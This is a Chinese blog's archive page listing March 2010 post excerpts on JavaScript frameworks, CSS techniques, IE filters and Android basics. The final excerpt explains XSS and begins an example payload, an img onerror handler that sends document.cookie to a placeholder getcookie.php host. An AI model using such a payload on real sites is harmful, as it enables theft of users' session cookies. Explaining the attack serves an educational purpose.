虚度人生

导航

统计

公告

03 2010 档案

笑问客从何处来--浏览器检测vs.特性检测
摘要: 之所以说浏览器类型检测比较尴尬,是因为有了一个打对台的东东,但是又不可能完全被替代,就是粒度更小的浏览器特性检测。所以现在就成了两者共存的情况,虽然根据特性来判断更为准确,但是浏览器类型往往又是开发者判断的首选,而且较为简单明了。还是和以前一样,站在巨人的肩膀上,利用各个js的框架源码,逐一分析比较一下。注:采用的框架版本:prototype-1.6.1, mootools-1.2.4, jque...阅读全文

posted @ 2010-03-24 09:31 nozer0 阅读(177) | 评论 (1) 编辑

css如何实现换行
摘要: 看了一下日历,发觉想要在保证质量的前提下同时保证更新的频率很难,工作,学习,懒惰等等各种原因,好歹每周一问还坚持着,希望等这一阵子的技术文章学完之后,能提高一点产量。如题,用html,css如何实现换行。偷偷看一下答案其实网上相关文章非常之多,其实关键点在于对word-wrap,word-break这几个样式的理解,话不多说,直接上代码。道可道非常道名可名非常名无名天地之始有名万物之母 abcde...阅读全文

posted @ 2010-03-23 17:06 nozer0 阅读(90) | 评论 (0) 编辑

css如何实现垂直居中
摘要: 如题,用html,css如何实现垂直居中。水平居中我们知道最简便的方法就是margin:auto,但是margin只是相对宽度有效。偷偷看一下答案分两种情况:fix height:即垂直居中的元素高度已知,这个比较简单,也不需要额外的辅助元素。i'm Mr. Middle. 运行代码variable height:居中元素高度可变,这个需要额外的一个wrapper元素,用table-cell的方式...阅读全文

posted @ 2010-03-18 09:16 nozer0 阅读(177) | 评论 (0) 编辑

合抱之木,生于毫末--js命名空间
摘要: 命名空间作用就不赘述了,大家应该也都很熟悉了。我们先来看看各个框架是如何实现自己的命名空间的,都很有各自的特点,但总得来说大同小异,我们挨个来分析一下。注:采用的框架版本:prototype-1.6.1, mootools-1.2.4, jquery-1.4.2, ext-3.2.0,yui-3.1.0, dojo-1.4.2prototype: 初始化全局对象,一般即window。 发现Prot...阅读全文

posted @ 2010-03-17 10:39 nozer0 阅读(375) | 评论 (0) 编辑

如何实现shadow
摘要: 如题,如何相对完美的在几大主流浏览器中实现相似的shadow效果?偷偷看一下答案分两种情况:text-shadow:从ff3.5,safari1.1,opera9,chrome2开始,支持text-shadow:color offX offYblur属性,ie的话可以用filter:progid:DXImageTransform.Microsoft.Shadow(color,direction,s...阅读全文

posted @ 2010-03-09 16:37 nozer0 阅读(137) | 评论 (2) 编辑

以旧焕新的css滤镜
摘要: 嗯,不是以旧换新,是希望css滤镜这个旧东东能焕发出新的生命。在新出的css3的一些特性令大家大声叫好时,其实ie下的滤镜早已默默的实现了相似的功能。OK,话不多说,让我们挨个来看一下。界面滤镜: AlphaImageLoader: 语法: filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=x.png, sizingMeth...阅读全文

posted @ 2010-03-08 16:08 nozer0 阅读(311) | 评论 (0) 编辑

屁民必看--楼市春晚
摘要: 屁民们终于有了自己的春晚,激动啊,激动在xx和xx的关怀中,激动在xx和xx的和谐里。阅读全文

posted @ 2010-03-07 14:47 nozer0 阅读(80) | 评论 (1) 编辑

国王地位的Activity
摘要: Android的SDK中引入了几个概念,其中最重要的一个应该就是Activity。1. 初识Activity那什么是Activity呢,简单来说,就是一个负责处理一个屏幕包括这个屏幕内所有的控件及交互的类。当我们切换屏幕的时候,也就切换到了另一个Activity。绝大多数时间,用户以及开发人员,都是在与Activity打交道。OK,先看一个例子:TestActivity.java:AndroidM...阅读全文

posted @ 2010-03-05 12:07 nozer0 阅读(268) | 评论 (1) 编辑

x === x?
摘要: 如题,范围js,x可以用任何东东代替,给出答案。偷偷看一下答案答案是不确定,那到底那个奇妙的x会使得恒等式不成立呢,卖个关子,各位看官不妨猜测一下。阅读全文

posted @ 2010-03-03 10:05 nozer0 阅读(85) | 评论 (2) 编辑

软件开发成功12法则(转)
摘要: 本来不想转载什么文章的,但是感觉这篇文章提出的问题正好对公司目前的状况,所以就收录了。 有没有听说过SEMA?这可是衡量一个软件开发组好坏的很深奥的系统。别介,等一下!别按那个链接! 给你六年你也搞不清这玩意。所以我自己随便攒了一套衡量系统,信不信由你,这系统,三分钟就可掌握。你可以把省下的时间去读医学院了(译注:美国的医学院 可是要读死人的!)。 Joel 衡量法则 1.你们用不用源文件管理系...阅读全文

posted @ 2010-03-03 09:53 nozer0 阅读(135) | 评论 (2) 编辑

与android的初次会面
摘要: 第一步,下载SDK从http://developer.android.com/sdk/index.html下载相应的SDK,并解压到自己需要的目录。将sdk下的tools目录加入PATH,以方便日后调用。linux或mac机子,编辑.bash_profile,.bashrc或.profile文件,加入export PATH=${PATH}:<your_sdk_dir>/tools;wi...阅读全文

posted @ 2010-03-02 18:21 nozer0 阅读(181) | 评论 (0) 编辑

无处不在的xss攻击
摘要: XSS(Cross Site Script)跨站脚本攻击。是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中的HTML代码会被执行,从而达到攻击的特殊目的。常见的有:盗取cookie。最简单的比如提交一个图片"<img src="x" onerror="window.open(http://xxx.com/getcookie.php?c='+document....阅读全文

posted @ 2010-03-01 16:00 nozer0 阅读(188) | 评论 (0) 编辑